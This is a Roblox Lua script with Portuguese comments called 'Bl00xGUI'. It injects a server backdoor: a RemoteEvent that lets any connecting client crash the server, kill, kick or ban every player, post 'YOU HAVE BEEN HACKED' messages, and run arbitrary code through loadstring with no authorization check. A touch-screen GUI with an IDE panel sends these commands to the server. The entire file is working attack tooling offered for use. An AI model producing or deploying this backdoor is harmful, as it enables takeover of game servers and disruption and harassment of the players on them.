-- Script de injeção completo e corrigido para Bl00xGUI com IDE
local Players = game:GetService("Players") local ReplicatedStorage =
game:GetService("ReplicatedStorage") local Lighting = game:GetService("Lighting")
local CoreGui = game:GetService("CoreGui") local RunService =
game:GetService("RunService") local UserInputService =
game:GetService("UserInputService") -- Função para injetar a backdoor no servidor
local function injectBackdoor() print("Injetando backdoor no servidor...")
-- Criar mensagem inicial local
initpayloadmsg = Instance.new("Hint") initpayloadmsg.Name = "payloadmsg"
initpayloadmsg.Text = "Init Payload Received! Loading Bl00xGUI..."
initpayloadmsg.Parent = workspace
-- Criar RemoteEvent para comunicação
local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = "Bl00xGUIEvent"
remoteEvent.Parent = ReplicatedStorage
-- Funções do servidor
local function crashServer() while true do end end local function decalSpam() for i
= 1, 50 do local decal = Instance.new("Decal") decal.Texture =
"rbxassetid://70727201" decal.Parent = workspace.Terrain decal.Face =
Enum.NormalId.Top decal.Position = Vector3.new(math.random(-100,100), 50,
math.random(-100,100)) game:GetService("Debris"):AddItem(decal, 10) end end local
function createMessage() local msg = Instance.new("Message", workspace) msg.Text =
"!!!YOU HAVE BEEN HACKED BY BL00XKID!!!" task.delay(5, function() msg:Destroy()
end) end local function createHint() local hint = Instance.new("Hint", workspace)
hint.Text = "!!!THIS SERVER IS SECURED BY BL00XKID!!!" task.delay(5, function()
hint:Destroy() end) end local bannedPlayers = {} local function permaban(player)
bannedPlayers[player.UserId] = true player:Kick("PERMANENT BAN - ADMIN ACTION") end
local function kickPlayers() for _, p in pairs(Players:GetPlayers()) do
p:Kick("ADMINISTRATIVE ACTION") end end local function changeSkybox() local sky =
Instance.new("Sky") sky.SkyboxBk = "rbxassetid://1234567" sky.SkyboxDn =
"rbxassetid://1234567" sky.SkyboxFt = "rbxassetid://1234567" sky.SkyboxLf =
"rbxassetid://1234567" sky.SkyboxRt = "rbxassetid://1234567" sky.SkyboxUp =
"rbxassetid://1234567" sky.Parent = Lighting end local function animatedSkybox()
local imageIds = { "rbxassetid://169585459", "rbxassetid://169585475",
"rbxassetid://169585485", "rbxassetid://169585502", "rbxassetid://169585515",
"rbxassetid://169585502", "rbxassetid://169585485", "rbxassetid://169585475" }
local sky = Instance.new("Sky", Lighting) for _, prop in pairs({"SkyboxBk",
"SkyboxDn", "SkyboxFt", "SkyboxLf", "SkyboxRt", "SkyboxUp"}) do sky[prop] =
imageIds[1] end while true do for _, imageId in ipairs(imageIds) do for _, prop in
pairs({"SkyboxBk", "SkyboxDn", "SkyboxFt", "SkyboxLf", "SkyboxRt", "SkyboxUp"}) do
sky[prop] = imageId end task.wait(0.25) end end end local function killAll() for _,
p in pairs(Players:GetPlayers()) do if p.Character and
p.Character:FindFirstChild("Humanoid") then p.Character.Humanoid.Health = 0 end end
end
-- Função para executar scripts arbitrários
local function executeScript(scriptSrc) local success, err = pcall(function() local
fn, err2 = loadstring(scriptSrc) if fn then setfenv(fn, getfenv()) fn() else
error(err2) end end) if not success then warn("Erro ao executar script: " ..
tostring(err)) end end -- Ouvinte de eventos
remoteEvent.OnServerEvent:Connect(function(player, command, ...) local args = {...}
if command == "crashServer" then crashServer() elseif command == "decalSpam" then
decalSpam() elseif command == "createMessage" then createMessage() elseif command
== "createHint" then createHint() elseif command == "permaban" then
permaban(player) elseif command == "kickPlayers" then kickPlayers() elseif command
== "changeSkybox" then changeSkybox() elseif command == "animatedSkybox" then
task.spawn(animatedSkybox) elseif command == "killAll" then killAll() elseif
command == "executeScript" then executeScript(args[1]) end end) -- Sistema de
banimento Players.PlayerAdded:Connect(function(plr) if bannedPlayers[plr.UserId]
then plr:Kick("PERMANENT BAN - ADMIN ACTION") end end) print("Backdoor injetada com
sucesso no servidor!") end
local function createMobileGUI() print("Criando GUI Mobile...") -- Remover GUI
existente if CoreGui:FindFirstChild("Bl00xGUIMobile") then
CoreGui:FindFirstChild("Bl00xGUIMobile"):Destroy() end -- Elementos principais
local ScreenGui = Instance.new("ScreenGui") local MainFrame = Instance.new("Frame")
local TitleBar = Instance.new("Frame") local TitleLabel = Instance.new("TextLabel")
local CloseButton = Instance.new("TextButton") local TabBar = Instance.new("Frame")
local TabButtons = Instance.new("Frame") local UICorner = Instance.new("UICorner")
local ContentFrame = Instance.new("ScrollingFrame") local CommandButtonsLayout =
Instance.new("UIGridLayout") -- Configuração da GUI ScreenGui.Name =
"Bl00xGUIMobile" ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScreenGui.Parent = CoreGui MainFrame.Name = "MainFrame" MainFrame.BackgroundColor3
= Color3.fromRGB(0, 0, 0) MainFrame.BorderSizePixel = 0 MainFrame.Position =
UDim2.new(0.05, 0, 0.05, 0) MainFrame.Size = UDim2.new(0.9, 0, 0.9, 0)
MainFrame.Parent = ScreenGui UICorner.CornerRadius = UDim.new(0.05, 0)
UICorner.Parent = MainFrame -- Barra de título (arrastável) TitleBar.Name =
"TitleBar" TitleBar.BackgroundColor3 = Color3.fromRGB(17, 0, 255) TitleBar.Size =
UDim2.new(1, 0, 0.08, 0) TitleBar.Parent = MainFrame TitleLabel.Name = "TitleLabel"
TitleLabel.Font = Enum.Font.Michroma TitleLabel.Text = "Bl00xGUI v1"
TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TitleLabel.TextSize = 28
TitleLabel.BackgroundTransparency = 1 TitleLabel.Size = UDim2.new(0.8, 0, 1, 0)
TitleLabel.Position = UDim2.new(0.1, 0, 0, 0) TitleLabel.Parent = TitleBar -- Botão
de fechar CloseButton.Name = "CloseButton" CloseButton.Text = "X" CloseButton.Font
= Enum.Font.Michroma CloseButton.TextSize = 24 CloseButton.TextColor3 =
Color3.fromRGB(255, 255, 255) CloseButton.BackgroundColor3 = Color3.fromRGB(200, 0,
0) CloseButton.Size = UDim2.new(0.1, 0, 1, 0) CloseButton.Position = UDim2.new(0.9,
0, 0, 0) CloseButton.Parent = TitleBar -- Sistema de arrasto local dragging,
dragInput, mousePos, framePos TitleBar.InputBegan:Connect(function(input) if
input.UserInputType == Enum.UserInputType.Touch then dragging = true mousePos =
input.Position framePos = MainFrame.Position end end)
TitleBar.InputChanged:Connect(function(input) if input.UserInputType ==
Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch
then dragInput = input end end)
UserInputService.InputChanged:Connect(function(input) if dragging and input ==
dragInput then local delta = input.Position - mousePos MainFrame.Position =
UDim2.new( framePos.X.Scale, framePos.X.Offset + delta.X, framePos.Y.Scale,
framePos.Y.Offset + delta.Y ) end end) TitleBar.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.Touch then dragging = false end end)
-- Barra de abas
TabBar.Name = "TabBar" TabBar.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
TabBar.Position = UDim2.new(0, 0, 0.08, 0) TabBar.Size = UDim2.new(1, 0, 0.1, 0)
TabBar.Parent = MainFrame TabButtons.Name = "TabButtons"
TabButtons.BackgroundTransparency = 1 TabButtons.Size = UDim2.new(0.8, 0, 1, 0)
TabButtons.Position = UDim2.new(0.1, 0, 0, 0) TabButtons.Parent = TabBar -- Botões
de navegação local CommandsTab = Instance.new("TextButton") CommandsTab.Name =
"CommandsTab" CommandsTab.Text = "Comandos" CommandsTab.Font = Enum.Font.Michroma
CommandsTab.TextSize = 18 CommandsTab.TextColor3 = Color3.fromRGB(255, 255, 255)
CommandsTab.BackgroundColor3 = Color3.fromRGB(0, 13, 255) CommandsTab.Size =
UDim2.new(0.45, 0, 0.8, 0) CommandsTab.Position = UDim2.new(0, 0, 0.1, 0)
CommandsTab.Parent = TabButtons local IDETab = Instance.new("TextButton")
IDETab.Name = "IDETab" IDETab.Text = "IDE" IDETab.Font = Enum.Font.Michroma
IDETab.TextSize = 18 IDETab.TextColor3 = Color3.fromRGB(200, 200, 200)
IDETab.BackgroundColor3 = Color3.fromRGB(30, 30, 30) IDETab.Size = UDim2.new(0.45,
0, 0.8, 0) IDETab.Position = UDim2.new(0.55, 0, 0.1, 0) IDETab.Parent = TabButtons
-- Frame de conteúdo ContentFrame.Name = "ContentFrame"
ContentFrame.BackgroundTransparency = 1 ContentFrame.Position = UDim2.new(0, 0,
0.18, 0) ContentFrame.Size = UDim2.new(1, 0, 0.82, 0) ContentFrame.CanvasSize =
UDim2.new(0, 0, 2.0, 0) ContentFrame.ScrollBarThickness = 6 ContentFrame.Parent =
MainFrame -- Layout para botões de comando CommandButtonsLayout.Name =
"CommandButtonsLayout" CommandButtonsLayout.CellPadding = UDim2.new(0.02, 0, 0.02,
0) CommandButtonsLayout.CellSize = UDim2.new(0.48, 0, 0.15, 0)
CommandButtonsLayout.FillDirection = Enum.FillDirection.Horizontal
CommandButtonsLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
CommandButtonsLayout.SortOrder = Enum.SortOrder.LayoutOrder
CommandButtonsLayout.VerticalAlignment = Enum.VerticalAlignment.Top
CommandButtonsLayout.Parent = ContentFrame
-- Botões de comando local
buttonCommands = { {Name = "DecalSpamButton", Text = "Decal Spam", Command =
"decalSpam"}, {Name = "CrashServerButton", Text = "Crash Server", Command =
"crashServer"}, {Name = "ChangeSkyboxButton", Text = "Skybox", Command =
"changeSkybox"}, {Name = "AnimatedSkyboxButton", Text = "Animated Sky", Command =
"animatedSkybox"}, {Name = "CreateMessageButton", Text = "Announcement", Command =
"createMessage"}, {Name = "CreateHintButton", Text = "Hint", Command =
"createHint"}, {Name = "KillAllButton", Text = "Kill All", Command = "killAll"},
{Name = "KickButton", Text = "Kick Players", Command = "kickPlayers"}, {Name =
"PermabanButton", Text = "Ban Players", Command = "permaban"}, {Name =
"PlayMusicButton", Text = "Play Music", Command = "playMusic"} } for _, btnInfo in
ipairs(buttonCommands) do local btn = Instance.new("TextButton") btn.Name =
btnInfo.Name btn.Font = Enum.Font.Michroma btn.Text = btnInfo.Text btn.TextColor3 =
Color3.fromRGB(255, 255, 255) btn.TextSize = 14 btn.BackgroundColor3 =
Color3.fromRGB(0, 0, 0) btn.BorderColor3 = Color3.fromRGB(0, 13, 255)
btn.BorderSizePixel = 3 btn.Size = UDim2.new(1, 0, 1, 0) btn.Parent = ContentFrame
end -- Área do IDE (inicialmente oculta) local IDEContainer = Instance.new("Frame")
IDEContainer.Name = "IDEContainer" IDEContainer.BackgroundTransparency = 1
IDEContainer.Size = UDim2.new(1, 0, 1, 0) IDEContainer.Visible = false
IDEContainer.Parent = ContentFrame local ScriptBox = Instance.new("TextBox")
ScriptBox.Name = "ScriptBox" ScriptBox.Text = "-- Digite seu script aqui"
ScriptBox.TextColor3 = Color3.fromRGB(200, 200, 200) ScriptBox.BackgroundColor3 =
Color3.fromRGB(30, 30, 30) ScriptBox.Size = UDim2.new(0.95, 0, 0.6, 0)
ScriptBox.Position = UDim2.new(0.025, 0, 0.02, 0) ScriptBox.MultiLine = true
ScriptBox.TextXAlignment = Enum.TextXAlignment.Left ScriptBox.TextYAlignment =
Enum.TextYAlignment.Top ScriptBox.Font = Enum.Font.Code ScriptBox.TextSize = 14
ScriptBox.ClearTextOnFocus = false ScriptBox.Parent = IDEContainer -- Botões do IDE
local ExecuteServer = Instance.new("TextButton") ExecuteServer.Name =
"ExecuteServer" ExecuteServer.Text = "Executar no Servidor" ExecuteServer.Font =
Enum.Font.Michroma ExecuteServer.TextSize = 14 ExecuteServer.TextColor3 =
Color3.fromRGB(255, 255, 255) ExecuteServer.BackgroundColor3 = Color3.fromRGB(0, 0,
0) ExecuteServer.BorderColor3 = Color3.fromRGB(0, 13, 255)
ExecuteServer.BorderSizePixel = 3 ExecuteServer.Size = UDim2.new(0.95, 0, 0.1, 0)
ExecuteServer.Position = UDim2.new(0.025, 0, 0.65, 0) ExecuteServer.Parent =
IDEContainer local ExecuteClient = Instance.new("TextButton") ExecuteClient.Name =
"ExecuteClient" ExecuteClient.Text = "Executar no Cliente" ExecuteClient.Font =
Enum.Font.Michroma ExecuteClient.TextSize = 14 ExecuteClient.TextColor3 =
Color3.fromRGB(255, 255, 255) ExecuteClient.BackgroundColor3 = Color3.fromRGB(0, 0,
0) ExecuteClient.BorderColor3 = Color3.fromRGB(0, 13, 255)
ExecuteClient.BorderSizePixel = 3 ExecuteClient.Size = UDim2.new(0.95, 0, 0.1, 0)
ExecuteClient.Position = UDim2.new(0.025, 0, 0.77, 0) ExecuteClient.Parent =
IDEContainer local ClearButton = Instance.new("TextButton") ClearButton.Name =
"ClearButton" ClearButton.Text = "Limpar Script" ClearButton.Font =
Enum.Font.Michroma ClearButton.TextSize = 14 ClearButton.TextColor3 =
Color3.fromRGB(255, 255, 255) ClearButton.BackgroundColor3 = Color3.fromRGB(0, 0,
0) ClearButton.BorderColor3 = Color3.fromRGB(0, 13, 255)
ClearButton.BorderSizePixel = 3 ClearButton.Size = UDim2.new(0.95, 0, 0.1, 0)
ClearButton.Position = UDim2.new(0.025, 0, 0.89, 0) ClearButton.Parent =
IDEContainer -- Funcionalidade das abas local function showCommands()
ContentFrame.CanvasSize = UDim2.new(0, 0, 2.0, 0)
ContentFrame:FindFirstChild("CommandButtonsLayout").Parent = ContentFrame
IDEContainer.Visible = false CommandsTab.BackgroundColor3 = Color3.fromRGB(0, 13,
255) IDETab.BackgroundColor3 = Color3.fromRGB(30, 30, 30) CommandsTab.TextColor3 =
Color3.fromRGB(255, 255, 255) IDETab.TextColor3 = Color3.fromRGB(200, 200, 200) end
local function showIDE() ContentFrame.CanvasSize = UDim2.new(0, 0, 1.5, 0)
ContentFrame:FindFirstChild("CommandButtonsLayout").Parent = nil
IDEContainer.Visible = true CommandsTab.BackgroundColor3 = Color3.fromRGB(30, 30,
30) IDETab.BackgroundColor3 = Color3.fromRGB(0, 13, 255) CommandsTab.TextColor3 =
Color3.fromRGB(200, 200, 200) IDETab.TextColor3 = Color3.fromRGB(255, 255, 255) end
CommandsTab.MouseButton1Click:Connect(showCommands)
IDETab.MouseButton1Click:Connect(showIDE) showCommands() -- Mostrar comandos por
padrão -- Funcionalidade do IDE ScriptBox.Focused:Connect(function() if
ScriptBox.Text == "-- Digite seu script aqui" then ScriptBox.Text = ""
ScriptBox.TextColor3 = Color3.fromRGB(255, 255, 255) end end) -- Conectar
funcionalidades local remoteEvent =
ReplicatedStorage:FindFirstChild("Bl00xGUIEvent") local SoundService =
game:GetService("SoundService") local function safeFireServer(command, ...) if
remoteEvent then remoteEvent:FireServer(command, ...) else warn("Backdoor não
encontrada! Comando:", command) end end -- Função para tocar música local function
playMusic() local sound = Instance.new("Sound") sound.SoundId =
"rbxassetid://138081566" sound.Volume = 1 sound.Looped = true sound.Parent =
SoundService sound:Play() end -- Conectar botões de comando
ContentFrame.DecalSpamButton.MouseButton1Click:Connect(function()
safeFireServer("decalSpam") end)
ContentFrame.CrashServerButton.MouseButton1Click:Connect(function()
safeFireServer("crashServer") end)
ContentFrame.ChangeSkyboxButton.MouseButton1Click:Connect(function()
safeFireServer("changeSkybox") end)
ContentFrame.AnimatedSkyboxButton.MouseButton1Click:Connect(function()
safeFireServer("animatedSkybox") end)
ContentFrame.CreateMessageButton.MouseButton1Click:Connect(function()
safeFireServer("createMessage") end)
ContentFrame.CreateHintButton.MouseButton1Click:Connect(function()
safeFireServer("createHint") end)
ContentFrame.KillAllButton.MouseButton1Click:Connect(function()
safeFireServer("killAll") end)
ContentFrame.KickButton.MouseButton1Click:Connect(function()
safeFireServer("kickPlayers") end)
ContentFrame.PermabanButton.MouseButton1Click:Connect(function()
safeFireServer("permaban") end)
ContentFrame.PlayMusicButton.MouseButton1Click:Connect(playMusic) -- Conectar
botões do IDE IDEContainer.ClearButton.MouseButton1Click:Connect(function()
ScriptBox.Text = "" ScriptBox.TextColor3 = Color3.fromRGB(255, 255, 255) end)
IDEContainer.ExecuteClient.MouseButton1Click:Connect(function() local scriptSrc =
ScriptBox.Text local success, err = pcall(function() local fn =
loadstring(scriptSrc) if fn then setfenv(fn, getfenv()) fn() else error(err) end
end) if not success then warn("Erro no cliente: " .. tostring(err)) end end)
IDEContainer.ExecuteServer.MouseButton1Click:Connect(function()
safeFireServer("executeScript", ScriptBox.Text) end) -- Botão de fechar
CloseButton.MouseButton1Click:Connect(function() ScreenGui:Destroy() end)
print("GUI Mobile criada com sucesso!") end -- Atualizar a seção de execução
principal if RunService:IsStudio() then injectBackdoor() if
UserInputService.TouchEnabled then createMobileGUI() end elseif
RunService:IsServer() then injectBackdoor() else if UserInputService.TouchEnabled
then createMobileGUI() end end -- Executar injeção de forma segura if
RunService:IsStudio() then injectBackdoor() createMobileGUI() elseif
RunService:IsServer() then injectBackdoor() else createMobileGUI()
end
print("Bl00xGUI carregada com sucesso!")